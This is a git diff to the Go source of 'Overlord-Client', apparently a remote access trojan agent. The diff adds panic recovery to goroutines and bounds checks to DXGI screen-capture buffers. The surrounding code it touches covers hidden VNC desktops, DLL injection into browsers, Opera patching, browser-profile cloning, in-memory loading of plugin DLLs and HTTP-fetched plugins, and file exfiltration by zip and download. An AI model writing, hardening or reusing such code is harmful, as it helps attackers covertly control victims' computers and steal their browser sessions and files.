diff --git a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go index 10599eb..c80a8db 100644 --- a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go +++ b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go @@ -6,6 +6,7 @@ import ( "context" "errors" "fmt" + "log" "sort" "strings" "sync" @@ -298,6 +299,11 @@ func StartVoiceSession(parent context.Context, source string, onCapture func([]b s.wg.Add(1) go func() { defer s.wg.Done() + defer func() { + if r := recover(); r != nil { + log.Printf("[panic] audio capture: %v", r) + } + }() for { select { case <-s.ctx.Done(): @@ -454,6 +460,11 @@ func StartCaptureOnlySession(parent context.Context, source string, onCapture fu s.wg.Add(1) go func() { defer s.wg.Done() + defer func() { + if r := recover(); r != nil { + log.Printf("[panic] audio capture: %v", r) + } + }() for { select { case <-s.ctx.Done(): diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index d123319..182b6eb 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -163,7 +163,10 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c return err } if info.needsPatch && pid != 0 { - go patchOperaAsync(pid, 5, 2*time.Second) + go func() { + defer recoverAndLog("hvnc patch opera", nil) + patchOperaAsync(pid, 5, 2*time.Second) + }() } return nil } @@ -207,7 +210,10 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c return err } if info.needsPatch && pid != 0 { - go patchOperaAsync(pid, 5, 2*time.Second) + go func() { + defer recoverAndLog("hvnc patch opera", nil) + patchOperaAsync(pid, 5, 2*time.Second) + }() } return nil } @@ -622,6 +628,11 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr wg.Add(1) go func() { defer wg.Done() + defer func() { + if r := recover(); r != nil { + log.Printf("[panic] hvnc file copy worker: %v", r) + } + }() for job := range jobCh { n, err := forceCopyFile(job.src, job.dst) if err != nil { @@ -811,7 +822,10 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD if !hvncDXGIEnabled.Load() { log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process") } else { - go hvncDeferredGPUInject(pid, captureDllBytes) + go func() { + defer recoverAndLog("hvnc deferred gpu inject", nil) + hvncDeferredGPUInject(pid, captureDllBytes) + }() } } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_uia_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_uia_windows.go index 5481d62..283bbbe 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_uia_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_uia_windows.go @@ -859,7 +859,10 @@ func uiaEnsureWorker() { uiaWorkerOnce.Do(func() { uiaWorkerCh = make(chan func(), 64) uiaWorkerDone = make(chan struct{}) - go uiaWorkerLoop() + go func() { + defer recoverAndLog("hvnc uia worker", nil) + uiaWorkerLoop() + }() }) } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 7b52d94..4f0129d 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -456,7 +456,10 @@ func ensureHVNCThread() error { hvncThreadReady = make(chan struct{}) hvncThreadTasks = make(chan hvncTask) hvncWatchdogOnce.Do(func() { - go hvncThreadWatchdog() + go func() { + defer recoverAndLog("hvnc watchdog", nil) + hvncThreadWatchdog() + }() }) go func(handle uintptr) { defer recoverAndLog("hvnc desktop thread", nil) @@ -558,7 +561,10 @@ func StartHVNCProcess(filePath string, operaPatch bool) error { return result.err } if operaPatch && result.pid != 0 { - go patchOperaAsync(result.pid, 5, 2*time.Second) + go func() { + defer recoverAndLog("hvnc patch opera", nil) + patchOperaAsync(result.pid, 5, 2*time.Second) + }() } return nil } diff --git a/Overlord-Client/cmd/agent/capture/win_duplication.go b/Overlord-Client/cmd/agent/capture/win_duplication.go index 86c5ec4..c5b7b97 100644 --- a/Overlord-Client/cmd/agent/capture/win_duplication.go +++ b/Overlord-Client/cmd/agent/capture/win_duplication.go @@ -756,7 +756,18 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) { } pitch := int(mapped.Pitch) - src := unsafe.Slice(mapped.Bits, pitch*height) + if pitch < width*4 { + _ = s.dup.UnMapDesktopSurface() + _ = s.dup.ReleaseFrame() + return nil, fmt.Errorf("dxgi: pitch %d too small for width %d", pitch, width) + } + totalBytes := pitch * height + if totalBytes/height != pitch { + _ = s.dup.UnMapDesktopSurface() + _ = s.dup.ReleaseFrame() + return nil, fmt.Errorf("dxgi: pitch*height overflow (%d * %d)", pitch, height) + } + src := unsafe.Slice(mapped.Bits, totalBytes) if wantScale { img = convertBGRAScaled(src, pitch, width, height, dstW, dstH, s.desc.Rotation) } @@ -765,6 +776,9 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) { } _ = s.dup.UnMapDesktopSurface() _ = s.dup.ReleaseFrame() + if img == nil { + return nil, errors.New("dxgi: pixel conversion failed (buffer too small)") + } } else { img, hr = s.readbackFrame(width, height, s.desc.Rotation, resource, wantScale, dstW, dstH) @@ -976,7 +990,16 @@ func (s *duplicationState) readbackFrame(width, height int, rotation uint32, res } pitch := int(mapped.RowPitch) - src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height)) + srcH := int(srcDesc.Height) + srcW := int(srcDesc.Width) + if pitch < srcW*4 { + return nil, uintptr(1) + } + totalBytes := pitch * srcH + if totalBytes/srcH != pitch { + return nil, uintptr(1) + } + src := unsafe.Slice((*byte)(mapped.Data), totalBytes) var img *image.RGBA if wantScale { img = convertBGRAScaled(src, pitch, int(srcDesc.Width), int(srcDesc.Height), dstW, dstH, rotation) @@ -1094,6 +1117,9 @@ func createD3DDevice(adapter *idxgiAdapter1) (*d3d11Device, *d3d11DeviceContext, } func convertBGRA(src []byte, pitch, width, height int, rotation uint32) *image.RGBA { + if len(src) < (height-1)*pitch+width*4 { + return nil + } switch rotation { case dxgiModeRotationRotate90: dst := GetRGBA(height, width) @@ -1166,6 +1192,9 @@ func convertBGRAScaled(src []byte, pitch, srcW, srcH, dstW, dstH int, rotation u if rotation != dxgiModeRotationIdentity && rotation != 0 { return nil } + if len(src) < (srcH-1)*pitch+srcW*4 { + return nil + } dst := GetRGBA(dstW, dstH) xOff := make([]int, dstW) for x := 0; x < dstW; x++ { diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index fa74eb6..6885ac8 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -359,7 +359,10 @@ func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message stri } func sendCommandResultAsync(env *runtime.Env, cmdID string) { - go sendCommandResultSafe(env, cmdID, true, "") + go func() { + defer recoverAndLog("sendCommandResultAsync", nil) + sendCommandResultSafe(env, cmdID, true, "") + }() } func payloadNumberToInt64(value interface{}) int64 { @@ -569,7 +572,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } - go func() { + goSafe("plugin load", nil, func() { if err := env.Plugins.Load(ctx, manifest, binaryBytes); err != nil { _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()}) _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) @@ -577,7 +580,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"}) _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) - }() + }) return nil case "plugin_load_http": payload, _ := envelope["payload"].(map[string]interface{}) @@ -591,7 +594,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } pullURL, _ := payload["url"].(string) expectedSize := int64(toInt(payload["size"])) - go HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize) + goSafe("plugin load http", nil, func() { + HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize) + }) return nil case "plugin_unload": payload, _ := envelope["payload"].(map[string]interface{}) diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go index cf9414d..f692ead 100644 --- a/Overlord-Client/cmd/agent/handlers/files.go +++ b/Overlord-Client/cmd/agent/handlers/files.go @@ -710,7 +710,9 @@ func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sou wire.WriteMsg(ctx, env.Conn, finalProgress) time.Sleep(100 * time.Millisecond) - go HandleFileDownload(ctx, env, cmdID, zipPath) + goSafe("file download", nil, func() { + HandleFileDownload(ctx, env, cmdID, zipPath) + }) result := wire.CommandResult{ Type: "command_result", diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go index 0f93589..f47398c 100644 --- a/Overlord-Client/cmd/agent/handlers/hvnc.go +++ b/Overlord-Client/cmd/agent/handlers/hvnc.go @@ -38,11 +38,11 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { } if autoStartExplorer { - go func() { + goSafe("hvnc auto-start explorer", nil, func() { if err := capture.HVNCAutoStartExplorer(); err != nil { log.Printf("hvnc: auto-start explorer error: %v", err) } - }() + }) } ticker := time.NewTicker(interval) diff --git a/Overlord-Client/cmd/agent/plugins/loader_windows.go b/Overlord-Client/cmd/agent/plugins/loader_windows.go index 9ace27b..1226f04 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/loader_windows.go @@ -5,6 +5,7 @@ package plugins import ( "errors" "fmt" + "log" "runtime" "syscall" "unsafe" @@ -22,6 +23,11 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { ch := make(chan initResult, 1) go func() { + defer func() { + if r := recover(); r != nil { + ch <- initResult{err: fmt.Errorf("plugin init panic: %v", r)} + } + }() runtime.LockOSThread() mm, err := LoadMemoryModule(data) @@ -170,6 +176,11 @@ func (p *dllPlugin) Event(event string, payload []byte) error { copy(payloadCopy, payload) go func() { + defer func() { + if r := recover(); r != nil { + log.Printf("[panic] plugin event panic: %v", r) + } + }() runtime.LockOSThread() defer runtime.UnlockOSThread() diff --git a/Overlord-Client/cmd/agent/plugins/manager.go b/Overlord-Client/cmd/agent/plugins/manager.go index 0744c0d..4d246c1 100644 --- a/Overlord-Client/cmd/agent/plugins/manager.go +++ b/Overlord-Client/cmd/agent/plugins/manager.go @@ -77,6 +77,11 @@ func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []by Payload: payloadVal, } go func() { + defer func() { + if r := recover(); r != nil { + log.Printf("[panic] plugin event send: %v", r) + } + }() sendCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() if err := wire.WriteMsg(sendCtx, m.writer, msg); err != nil {